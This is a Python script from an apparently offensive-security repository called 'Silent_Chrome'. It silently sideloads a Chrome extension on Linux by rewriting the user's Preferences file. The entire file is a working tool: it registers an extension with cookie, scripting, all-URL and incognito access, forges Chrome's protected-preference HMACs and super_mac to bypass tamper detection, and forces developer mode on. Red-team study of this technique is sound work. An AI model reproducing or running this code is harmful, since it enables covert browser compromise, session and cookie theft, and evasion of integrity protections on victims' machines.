Files
asaurusrex-Silent_Chrome/linux_silent_chrome.py
2025-07-21 17:06:11 -04:00

251 lines
13 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
"""
BSD 4-Clause License
Copyright (c) 2024, asaurusrex
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. All advertising materials mentioning features or use of this software must display the following acknowledgement:
This product includes software developed by AsaurusRex.
4. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
"""
import hmac
import json
from collections import OrderedDict
import hashlib
import subprocess
import re
import datetime
import os
import sys
#https://github.com/Pica4x6/SecurePreferencesFile
def removeEmpty(d):
if type(d) == type(OrderedDict()):
t = OrderedDict(d)
for x, y in t.items():
if type(y) == (type(OrderedDict())):
if len(y) == 0:
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif(type(y) == type({})):
if(len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif (type(y) == type([])):
if (len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
else:
if (not y) and (y not in [False, 0]):
del d[x]
elif type(d) == type([]):
for x, y in enumerate(d):
if type(y) == type(OrderedDict()):
if len(y) == 0:
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif (type(y) == type({})):
if (len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
elif (type(y) == type([])):
if (len(y) == 0):
del d[x]
else:
removeEmpty(y)
if len(y) == 0:
del d[x]
else:
if (not y) and (y not in [False, 0]):
del d[x]
#https://github.com/Pica4x6/SecurePreferencesFile
def calculateHMAC(value_as_string, path, sid, seed):
if ((type(value_as_string) == type({})) or (type(value_as_string) == type(OrderedDict()))):
removeEmpty(value_as_string)
message = sid + path + json.dumps(value_as_string, separators=(',', ':'), ensure_ascii=False).replace('<', '\\u003C').replace(
'\\u2122', '')
hash_obj = hmac.new(seed, message.encode("utf-8"), hashlib.sha256)
return hash_obj.hexdigest().upper()
#https://github.com/Pica4x6/SecurePreferencesFile
def calc_supermac(json_file, sid, seed):
# Reads the file
json_data = open(json_file, encoding="utf-8")
data = json.load(json_data, object_pairs_hook=OrderedDict)
json_data.close()
temp = OrderedDict(sorted(data.items()))
data = temp
# Calculates and sets the super_mac
super_msg = sid + json.dumps(data['protection']['macs']).replace(" ", "")
hash_obj = hmac.new(seed, super_msg.encode("utf-8"), hashlib.sha256)
return hash_obj.hexdigest().upper()
def encode_to_install_time(date):
base_date = datetime.datetime(1970, 1, 1, 0, 0, 0)
difference_in_seconds = (date - base_date).total_seconds()
install_time = int(difference_in_seconds * 1000000) + 11644473600000000
return install_time
def calculate_chrome_dev_mac(seed: bytes, sid: str, pref_path: str, pref_value) -> str:
"""
Calculates the HMAC-SHA256 for a Chrome protected preference.
Parameters:
seed (bytes): The secret key from PlatformKeys.
sid (str): The Windows user SID.
pref_path (str): The full preference path (e.g., "extensions.ui.developer_mode").
pref_value: The preference value (e.g., True, False, a string, etc.).
Returns:
str: The hexadecimal HMAC digest.
"""
# Serialize the value to canonical JSON (compact, sorted if needed)
serialized_value = json.dumps(pref_value, separators=(',', ':'), sort_keys=True)
# Build the input string
hmac_input = (sid + pref_path + serialized_value).encode('utf-8')
# Calculate the HMAC-SHA256
return hmac.new(seed, hmac_input, hashlib.sha256).hexdigest()
def get_extension_id(path):
m=hashlib.sha256()
#m.update(bytes(path.encode('utf-16-le')))
m.update(bytes(path.encode('utf-8')))
EXTID = ''.join([chr(int(i, base=16) + ord('a')) for i in m.hexdigest()][:32])
print("Using ExtID: {}".format(EXTID))
return EXTID
def add_extension():
extension_path = "/your/path/here" #change this to point to your extension path
random_ext_str = get_extension_id(extension_path)
#print(random_ext_str)
sid = "" #empty on Linux
###add json to file
given_date = datetime.datetime.now()
encoded_install_time = encode_to_install_time(given_date)
#extension_json = r'{"active_permissions":{"api":["contextMenus","history","storage","tabs","unlimitedStorage"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{"_execute_action":{"was_assigned":true},"close":{"suggested_key":""},"manager":{"suggested_key":"Alt+A","was_assigned":true},"new":{"suggested_key":"Alt+N","was_assigned":true},"search":{"suggested_key":""},"switch":{"suggested_key":"Alt+S","was_assigned":true}},"content_settings":[],"creation_flags":9,"cws-info":{"is-live":true,"is-present":true,"last-updated-time-millis":"1721372400000","no-privacy-practice":false,"unpublished-long-ago":false,"violation-type":0},"filtered_service_worker_events":{"windows.onCreated":[{}],"windows.onFocusChanged":[{}],"windows.onRemoved":[{}]},"first_install_time":"%s","from_webstore":true,"granted_permissions":{"api":["contextMenus","history","storage","tabs","unlimitedStorage"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"%s","location":1,"manifest":{"action":{"default_icon":{"32":"images/bookmark_btn.png"},"default_title":"Workona Spaces"},"background":{"service_worker":"background.js"},"commands":{"_execute_action":{"description":"Save current tab to space","suggested_key":{"default":"Alt+D","windows":"Alt+T"}},"close":{"description":"Close space"},"manager":{"description":"Switch space","suggested_key":{"default":"Alt+A"}},"new":{"description":"New space or doc","suggested_key":{"default":"Alt+N"}},"search":{"description":"Open Workona"},"switch":{"description":"Universal search","suggested_key":{"default":"Alt+S"}}},"description":"The worlds best tab manager","externally_connectable":{"matches":["https://workona.com/*","https://*.workona.com/*"]},"homepage_url":"https://workona.com/0/","icons":{"128":"images/icon_128.png","16":"images/icon_16.png","256":"images/icon_256.png","32":"images/icon_32.png","48":"images/icon_96.png","96":"images/icon_96.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlTDCGRkVU6zgrNCQQMXwgoVB0A+rGZh9E1yokH4T+cqz6zxMG/f/gZiWHvYDb9thNTtGKyl7LiE0Op3VTqeRlSV8pN5+5ojkSawiNHEXS+8ImzAoSsWTFkiloZnk6HIP2eCKvx2be+mE74Yq/6kPnTxApUitZ6gXVM1udnw59mFhXw8R9DUtMDTfQwA1Us8UnfBIEyqIfcqVqdymYjZfD9e16n7kVzq4p0yHnXgyrIUhRsI2APfsgVD673R7sDtbJDeU5lvuZBvBjczKw16YL2RqdlzmVZXaIZClsWWMEoyH9Q2mLZf9tM5aaSoiguMQ3VVlDRMzlzm5xtjFmLfINwIDAQAB","manifest_version":3,"minimum_chrome_version":"102","name":"Tab Manager by Workona","optional_host_permissions":["https://workona.com/*","https://*.workona.com/*"],"optional_permissions":["system.memory","tabGroups"],"permissions":["contextMenus","history","tabs","storage","unlimitedStorage"],"short_name":"Workona","update_url":"https://clients2.google.com/service/update2/crx","version":"3.1.32"},"needs_sync":true,"path":"ailcmbgekjpnablpdkmaaccecekgdhlh/3.1.32_0","preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"3.1.32"},"serviceworkerevents":["commands.onCommand","contextMenus.onClicked","runtime.onConnectExternal","runtime.onInstalled","runtime.onStartup","runtime.onSuspend","runtime.onSuspendCanceled","runtime.onUpdateAvailable","tabs.onActivated","tabs.onAttached","tabs.onCreated","tabs.onDetached","tabs.onMoved","tabs.onRemoved","tabs.onReplaced","tabs.onUpdated"],"state":1,"uninstall_url":"https://workona.com/extension-feedback/","was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}' % (encoded_install_time, encoded_install_time)
#print(encoded_install_time)
extension_json=r'{"account_extension_type":0,"active_permissions":{"api":["cookies","storage","tabs","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":38,"first_install_time":"%s","from_webstore":false,"granted_permissions":{"api":["cookies","downloads","storage","tabs"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":[]},"incognito":true,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"%s","location":4,"newAllowFileAccess":true,"path":"%s","preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["tabs.onUpdated"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}' % (encoded_install_time, encoded_install_time, extension_path)
dict_extension=json.loads(extension_json, object_pairs_hook=OrderedDict)
username = os.getlogin()
filepath = "/home/{}/.config/google-chrome/Default/Preferences".format(username)
with open(filepath, 'rb') as f:
data = f.read()
f.close()
data=json.loads(data,object_pairs_hook=OrderedDict)
data["extensions"]["settings"][random_ext_str] = dict_extension
###calculate hash for [protect][mac]
path="extensions.settings.{}.".format(random_ext_str)
#hardcoded seed
#seed=b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'
seed = b""
macs = calculateHMAC(dict_extension, path[:-1], sid, seed)
#print(macs)
#add macs to json file
data["protection"]["macs"]["extensions"]["settings"][random_ext_str]=macs
#set dev mode to true
try:
data["extensions"]["ui"]["developer_mode"]=True
except KeyError: # means extensions: UI is not found
# developer_mode = OrderedDict()
# ui = OrderedDict()
data["extensions"].setdefault("ui", OrderedDict())
# now insert your empty OrderedDict into developer_mode
data["extensions"]["ui"]["developer_mode"] = OrderedDict()
data["extensions"]["ui"]["developer_mode"]= True
# print("Need to toggle developer mode")
# sys.exit()
pref_path = "extensions.ui.developer_mode"
pref_value = True
mac = calculate_chrome_dev_mac(seed, sid, pref_path, pref_value)
#print(mac)
try:
data["protection"]["macs"]["extensions"]["ui"]["developer_mode"]=mac
except KeyError:
print("Need to toggle developer mode")
sys.exit()
devmode_value=r'{"developer_mode": true}'
parseddevmode=json.loads(devmode_value, object_pairs_hook=OrderedDict)
newdata=json.dumps(data)
with open(filepath, 'w') as z:
z.write(newdata)
z.close()
###recalculate and replace super_mac
#print("=======================================================================================================================================================================================================================\n")
supermac=calc_supermac(filepath,sid,seed)
#print(supermac)
data["protection"]["super_mac"]=supermac
newdata=json.dumps(data)
#print(newdata)
with open(filepath, 'w') as z:
z.write(newdata)
z.close()
if __name__ == "__main__":
add_extension()
print("Extension added!")